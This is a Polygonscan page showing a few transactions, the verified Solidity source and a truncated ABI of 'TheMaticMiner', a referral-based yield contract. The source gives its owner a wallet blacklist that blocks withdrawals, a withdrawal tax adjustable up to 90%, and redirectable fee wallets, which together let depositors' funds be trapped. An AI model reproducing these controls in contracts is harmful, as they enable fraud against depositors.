Contract 0xf923e74243fe3d893827159258508D07420107A7

 
 
Txn Hash
Method
Block
From
To
Value [Txn Fee]
0x2fe9b8a0f7bd3801b432f3d1e9f12070310c397afccb720ba81d18f318e7c055Hire Farmers363066692022-12-01 20:05:31114 days 37 mins ago0x1af3651490a0197e0962c50ee280e66bd0716069 IN  0xf923e74243fe3d893827159258508d07420107a720 MATIC0.00072363 30.000000016
0x0bb9dcbc25bb5e6615153aa6b88cd06cdca178338095de60d7f5f84d101421fcHire Farmers363065792022-12-01 20:02:27114 days 41 mins ago0x1af3651490a0197e0962c50ee280e66bd0716069 IN  0xf923e74243fe3d893827159258508d07420107a720 MATIC0.00072363 30.000000015
0x021150c74990342932aea3de3aa8ed3069a447b5a194d5b68d0cdb3b1d2b611dHire Farmers363065392022-12-01 20:01:03114 days 42 mins ago0x1af3651490a0197e0962c50ee280e66bd0716069 IN  0xf923e74243fe3d893827159258508d07420107a720 MATIC0.00072363 30.000000014
0xe687fe18e80c22082fdfc29d8fc9f14941f71575229dfc4aba8ada4f7d687803Hire Farmers363065222022-12-01 20:00:29114 days 42 mins ago0x1af3651490a0197e0962c50ee280e66bd0716069 IN  0xf923e74243fe3d893827159258508d07420107a720 MATIC0.00072363 30.000000014
0x161d7e79c201ec1534e2afcd7120b78300b337db16b7ad7c67e616f02195958cFund Contract363064922022-12-01 19:59:25114 days 44 mins ago0x7ec34d7a4a5bc273d99577496c1b7f7a2b764835 IN  0xf923e74243fe3d893827159258508d07420107a70.1 MATIC0.0006375 30.000000016
0xbc50215599532c2370906555180bcbab638d720897d65d4c0ff9df5e9e35ea370x60806040356364982022-11-15 12:08:14130 days 8 hrs ago0x6b464f7703af336a6fee445489f2326be979f22b IN  Create: TheMaticMiner0 MATIC0.100939549102 39.890543205
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TheMaticMiner

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2022-11-15
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

contract TheMaticMiner {
    using SafeMath for uint256;

    /** base parameters **/
    uint256 public EGGS_TO_HIRE_1MINERS = 1440000;
    uint256 public REFERRAL = 60;
    uint256 public PERCENTS_DIVIDER = 1000;
    uint256 public TAX = 10;
    uint256 public MKT = 10;
    uint256 public MARKET_EGGS_DIVISOR = 2;

    uint256 public MIN_INVEST_LIMIT = 1 * 1e17;
    uint256 public WALLET_DEPOSIT_LIMIT = 100 * 1e18; 

	uint256 public COMPOUND_BONUS = 20;
	uint256 public COMPOUND_BONUS_MAX_TIMES = 5;
    uint256 public COMPOUND_STEP = 12 * 60 * 60;

    uint256 public WITHDRAWAL_TAX = 600;
    uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 5;

    uint256 public totalStaked;
    uint256 public totalDeposits;
    uint256 public totalCompound;
    uint256 public totalRefBonus;
    uint256 public totalWithdrawn;

    uint256 public marketEggs;
    uint256 PSN = 10000;
    uint256 PSNH = 5000;
    bool public contractStarted;
    bool public blacklistActive = true;
    mapping(address => bool) public Blacklisted;

	uint256 public CUTOFF_STEP = 48 * 60 * 60;
	uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;

    /* addresses */
    address public owner;
    address payable public dev1;
    address payable public dev2;
    address payable public dev3;
    address payable public prtnr1;
    address payable public prtnr2;
    address payable public mkt;

    struct User {
        uint256 initialDeposit;
        uint256 userDeposit;
        uint256 miners;
        uint256 claimedEggs;
        uint256 lastHatch;
        address referrer;
        uint256 referralsCount;
        uint256 referralEggRewards;
        uint256 totalWithdrawn;
        uint256 dailyCompoundBonus;
        uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap
        uint256 lastWithdrawTime;
    }

    mapping(address => User) public users;

    constructor(address payable _dev1, address payable _dev2, address payable _dev3, 
    address payable _prtnr1, address payable _prtnr2, address payable _mkt) {
		require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_dev3) && !isContract(_prtnr1) && !isContract(_prtnr2) && !isContract(_mkt));
        owner = msg.sender;
        dev1 = _dev1;
        dev2 = _dev2;
        dev3 = _dev3;
        prtnr1 = _prtnr1;
        prtnr2 = _prtnr2;
        mkt = _mkt;
    }

	function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }

    function setblacklistActive(bool isActive) public{
        require(msg.sender == owner, "Admin use only.");
        blacklistActive = isActive;
    }

    function blackListWallet(address Wallet, bool isBlacklisted) public{
        require(msg.sender == owner, "Admin use only.");
        Blacklisted[Wallet] = isBlacklisted;
    }

    function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{
        require(msg.sender == owner, "Admin use only.");
        for(uint256 i = 0; i < Wallet.length; i++) {
            Blacklisted[Wallet[i]] = isBlacklisted;
        }
    }

    function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){
        require(msg.sender == owner, "Admin use only.");
        blacklisted = Blacklisted[Wallet];
    }

    function startFarm(address addr) public payable{
        if (!contractStarted) {
    		if (msg.sender == owner) {
    		    require(marketEggs == 0);
    			contractStarted = true;
                marketEggs = 144000000000;
                hireFarmers(addr);
    		} else revert("Contract not yet started.");
    	}
    }

    //fund contract with BNB before launch.
    function fundContract() external payable {}

    function hireMoreFarmers(bool isCompound) public {
        User storage user = users[msg.sender];
        require(contractStarted, "Contract not yet Started.");

        uint256 eggsUsed = getMyEggs();
        uint256 eggsForCompound = eggsUsed;

        if(isCompound) {
            uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
            eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
            uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
            user.userDeposit = user.userDeposit.add(eggsUsedValue);
            totalCompound = totalCompound.add(eggsUsedValue);
        } 

        if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
            if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
                user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
            }
            //add compoundCount for monitoring purposes.
            user.farmerCompoundCount = user.farmerCompoundCount .add(1);
        }
        
        user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
        user.claimedEggs = 0;
        user.lastHatch = block.timestamp;

        marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
    }

    function sellCrops() public{
        require(contractStarted, "Contract not yet Started.");

        if (blacklistActive) {
            require(!Blacklisted[msg.sender], "Address is blacklisted.");
        }

        User storage user = users[msg.sender];
        uint256 hasEggs = getMyEggs();
        uint256 eggValue = calculateEggSell(hasEggs);
        
        /** 
            if user compound < to mandatory compound days**/
        if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
            //daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
            eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
        }else{
            //set daily compound bonus count to 0 and eggValue will remain without deductions
             user.dailyCompoundBonus = 0;   
             user.farmerCompoundCount = 0;  
        }
        
        user.lastWithdrawTime = block.timestamp;
        user.claimedEggs = 0;  
        user.lastHatch = block.timestamp;
        marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR));
        
        if(getBalance() < eggValue) {
            eggValue = getBalance();
        }

        uint256 eggsPayout = eggValue.sub(payFees(eggValue));
        payable(address(msg.sender)).transfer(eggsPayout);
        user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
        totalWithdrawn = totalWithdrawn.add(eggsPayout);
    }

     
    /** transfer amount of BNB **/
    function hireFarmers(address ref) public payable{
        require(contractStarted, "Contract not yet Started.");
        User storage user = users[msg.sender];
        require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
        require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
        uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
        user.userDeposit = user.userDeposit.add(msg.value);
        user.initialDeposit = user.initialDeposit.add(msg.value);
        user.claimedEggs = user.claimedEggs.add(eggsBought);

        if (user.referrer == address(0)) {
            if (ref != msg.sender) {
                user.referrer = ref;
            }

            address upline1 = user.referrer;
            if (upline1 != address(0)) {
                users[upline1].referralsCount = users[upline1].referralsCount.add(1);
            }
        }
                
        if (user.referrer != address(0)) {
            address upline = user.referrer;
            if (upline != address(0)) {
                uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
                payable(address(upline)).transfer(refRewards);
                users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
                totalRefBonus = totalRefBonus.add(refRewards);
            }
        }

        uint256 eggsPayout = payFees(msg.value);
        totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
        totalDeposits = totalDeposits.add(1);
        hireMoreFarmers(false);
    }

    function payFees(uint256 eggValue) internal returns(uint256){
        uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
        uint256 mktng = eggValue.mul(MKT).div(PERCENTS_DIVIDER);
        dev1.transfer(tax);
        dev2.transfer(tax);
        dev3.transfer(tax);
        prtnr1.transfer(tax);
        prtnr2.transfer(tax);
        mkt.transfer(mktng);
        return mktng.add(tax.mul(5));
    }

    function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
        if(users[_adr].dailyCompoundBonus == 0) {
            return 0;
        } else {
            uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS); 
            uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
            return result;
        }
    }

    function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
     uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
	 uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) {
         _initialDeposit = users[_adr].initialDeposit;
         _userDeposit = users[_adr].userDeposit;
         _miners = users[_adr].miners;
         _claimedEggs = users[_adr].claimedEggs;
         _lastHatch = users[_adr].lastHatch;
         _referrer = users[_adr].referrer;
         _referrals = users[_adr].referralsCount;
         _totalWithdrawn = users[_adr].totalWithdrawn;
         _referralEggRewards = users[_adr].referralEggRewards;
         _dailyCompoundBonus = users[_adr].dailyCompoundBonus;
         _farmerCompoundCount = users[_adr].farmerCompoundCount;
         _lastWithdrawTime = users[_adr].lastWithdrawTime;
	}

    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    function getTimeStamp() public view returns (uint256) {
        return block.timestamp;
    }

    function getAvailableEarnings(address _adr) public view returns(uint256) {
        uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
        return calculateEggSell(userEggs);
    }

    function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
        return SafeMath.div(
                SafeMath.mul(PSN, bs), 
                    SafeMath.add(PSNH, 
                        SafeMath.div(
                            SafeMath.add(
                                SafeMath.mul(PSN, rs), 
                                    SafeMath.mul(PSNH, rt)), 
                                        rt)));
    }

    function calculateEggSell(uint256 eggs) public view returns(uint256){
        return calculateTrade(eggs, marketEggs, getBalance());
    }

    function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
        return calculateTrade(eth, contractBalance, marketEggs);
    }

    function calculateEggBuySimple(uint256 eth) public view returns(uint256){
        return calculateEggBuy(eth, getBalance());
    }

    /** How many miners and eggs per day user will recieve based on BNB deposit **/
    function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
        uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
        uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
        uint256 day = 1 days;
        uint256 eggsPerDay = day.mul(miners);
        uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
        return(miners, earningsPerDay);
    }

    function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
        return calculateTrade(eggs,marketEggs, getBalance().add(amount));
    }

    function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
        return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
    }

    function getMyMiners() public view returns(uint256){
        return users[msg.sender].miners;
    }

    function getMyEggs() public view returns(uint256){
        return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
    }

    function getEggsSinceLastHatch(address adr) public view returns(uint256){
        uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
                            /** get min time. **/
        uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
        uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
        return secondsPassed.mul(users[adr].miners);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return a < b ? a : b;
    }

    function CHANGE_OWNERSHIP(address value) external {
        require(msg.sender == owner, "Admin use only.");
        owner = value;
    }
   /** 

    function CHANGE_DEV1(address value) external {
        require(msg.sender == owner, "Admin use only.");
        dev1 = payable(value);
    }

    function CHANGE_DEV2(address value) external {
        require(msg.sender == owner, "Admin use only.");
        dev2 = payable(value);
    }

    function CHANGE_DEV3(address value) external {
        require(msg.sender == owner, "Admin use only.");
        dev3 = payable(value);
    }
**/ 
    function CHANGE_PARTNER1(address value) external {
        require(msg.sender == owner, "Admin use only.");
        prtnr1 = payable(value);
    }

    function CHANGE_PARTNER2(address value) external {
        require(msg.sender == owner, "Admin use only.");
        prtnr2 = payable(value);
    }

    function CHANGE_MKT(address value) external {
        require(msg.sender == owner, "Admin use only.");
        mkt = payable(value);
    }
   

    /** percentage setters **/

    // 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%
    // 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12%
    
    function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value >= 479520 && value <= 720000); /** min 3% max 12%**/
        EGGS_TO_HIRE_1MINERS = value;
    }

    function PRC_TAX(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 15);
        TAX = value;
    }

    function PRC_MKT(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 20);
        MKT = value;
    }

    function PRC_REFERRAL(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value >= 10 && value <= 100);
        REFERRAL = value;
    }

    function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 50);
        MARKET_EGGS_DIVISOR = value;
    }

    function SET_WITHDRAWAL_TAX(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 900);
        WITHDRAWAL_TAX = value;
    }

    function BONUS_DAILY_COMPOUND(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value >= 10 && value <= 900);
        COMPOUND_BONUS = value;
    }

    function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 30);
        COMPOUND_BONUS_MAX_TIMES = value;
    }

    function BONUS_COMPOUND_STEP(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 24);
        COMPOUND_STEP = value * 60 * 60;
    }

    function SET_INVEST_MIN(uint256 value) external {
        require(msg.sender == owner, "Admin use only");
        MIN_INVEST_LIMIT = value * 1e17;
    }

    function SET_CUTOFF_STEP(uint256 value) external {
        require(msg.sender == owner, "Admin use only");
        CUTOFF_STEP = value * 60 * 60;
    }

    function SET_WITHDRAW_COOLDOWN(uint256 value) external {
        require(msg.sender == owner, "Admin use only");
        require(value <= 24);
        WITHDRAW_COOLDOWN = value * 60 * 60;
    }

    function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
        require(msg.sender == owner, "Admin use only");
        require(value >= 10);
        WALLET_DEPOSIT_LIMIT = value * 1 ether;
    }
    
    function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
        require(msg.sender == owner, "Admin use only.");
        require(value <= 12);
        COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
    }
}

library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }

  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_dev1","type":"address"},{"internalType":"address payable","name":"_dev2","type":"address"},{"internalType":"address payable","name":"_dev3","type":"address"},{"internalType":"address payable","name":"_prtnr1","type":"address"},{"internalType":"address payable","name":"_prtnr2","type":"address"},{"internalType":"address payable","name":"_mkt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_COMPOUND_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Blacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_MKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_OWNERSHIP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_PARTNER1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_PARTNER2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS_MAX_TIMES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CUTOFF_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EGGS_TO_HIRE_1MINERS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKET_EGGS_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN_INVEST_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MKT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_EGGS_TO_HIRE_1MINERS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MARKET_EGGS_DIVISOR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_REFERRAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"REFERRAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_CUTOFF_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_INVEST_MIN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WALLET_DEPOSIT_LIMIT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAWAL_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAW_COOLDOWN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WALLET_DEPOSIT_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAWAL_TAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAW_COOLDOWN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackListWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"Wallet","type":"address[]"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"blacklistActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"},{"internalType":"uint256","name":"contractBalance","type":"uint256"}],"name":"calculateEggBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"}],"name":"calculateEggBuySimple","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"}],"name":"calculateEggSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"calculateEggSellForYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rt","type":"uint256"},{"internalType":"uint256","name":"rs","type":"uint256"},{"internalType":"uint256","name":"bs","type":"uint256"}],"name":"calculateTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"}],"name":"checkIfBlacklisted","outputs":[{"internalType":"bool","name":"blacklisted","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev1","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dev3","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundContract","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getAvailableEarnings","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getDailyCompoundBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"getEggsSinceLastHatch","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getEggsYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyEggs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyMiners","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSiteInfo","outputs":[{"internalType":"uint256","name":"_totalStaked","type":"uint256"},{"internalType":"uint256","name":"_totalDeposits","type":"uint256"},{"internalType":"uint256","name":"_totalCompound","type":"uint256"},{"internalType":"uint256","name":"_totalRefBonus","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"_initialDeposit","type":"uint256"},{"internalType":"uint256","name":"_userDeposit","type":"uint256"},{"internalType":"uint256","name":"_miners","type":"uint256"},{"internalType":"uint256","name":"_claimedEggs","type":"uint256"},{"internalType":"uint256","name":"_lastHatch","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint256","name":"_referrals","type":"uint256"},{"internalType":"uint256","name":"_totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"_referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"_dailyCompoundBonus","type":"uint256"},{"internalType":"uint256","name":"_farmerCompoundCount","type":"uint256"},{"internalType":"uint256","name":"_lastWithdrawTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref","type":"address"}],"name":"hireFarmers","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"isCompound","type":"bool"}],"name":"hireMoreFarmers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketEggs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prtnr1","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prtnr2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellCrops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isActive","type":"bool"}],"name":"setblacklistActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"startFarm","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"totalCompound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRefBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"uint256","name":"initialDeposit","type":"uint256"},{"internalType":"uint256","name":"userDeposit","type":"uint256"},{"internalType":"uint256","name":"miners","type":"uint256"},{"internalType":"uint256","name":"claimedEggs","type":"uint256"},{"internalType":"uint256","name":"lastHatch","type":"uint256"},{"internalType":"address","name":"referrer","type":"address"},{"internalType":"uint256","name":"referralsCount","type":"uint256"},{"internalType":"uint256","name":"referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"dailyCompoundBonus","type":"uint256